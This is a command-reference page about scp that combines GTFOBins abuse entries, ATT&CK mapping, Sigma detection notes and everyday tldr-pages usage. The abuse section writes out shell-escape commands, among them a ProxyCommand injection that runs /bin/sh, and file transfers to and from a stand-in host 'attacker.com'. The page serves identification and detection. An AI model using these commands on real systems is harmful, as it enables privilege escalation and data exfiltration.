CmdID

CmdID / Programs / Linux and Unix

scp

Secure copy. Copy files between hosts using Secure Copy Protocol over SSH. tldr-pages

GTFOBins shell 1 ATT&CK technique 4 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How scp is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-S

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-o

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for scp.

4 documented commands

from GTFOBins, each read by CmdID

download unprivileged, with sudo, as SUID

scp user@attacker.com:/path/to/input-file /path/to/output-file
Identify

shell unprivileged, with sudo, as SUID

echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:
Identify

shell unprivileged, with sudo, as SUID

scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:
Identify

upload unprivileged, with sudo, as SUID

scp /path/to/input-file user@attacker.com:/path/to/output-file
Identify

None of the 4 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for scp. CmdID reads the line of each that runs scp.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Copy a local file to a remote host

scp path/to/local_file remote_host:path/to/remote_fileIdentify

Use a specific port when connecting to the remote host

scp -P port path/to/local_file remote_host:path/to/remote_fileIdentify

Copy a file from a remote host to a local directory

scp remote_host:path/to/remote_file path/to/local_directoryIdentify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.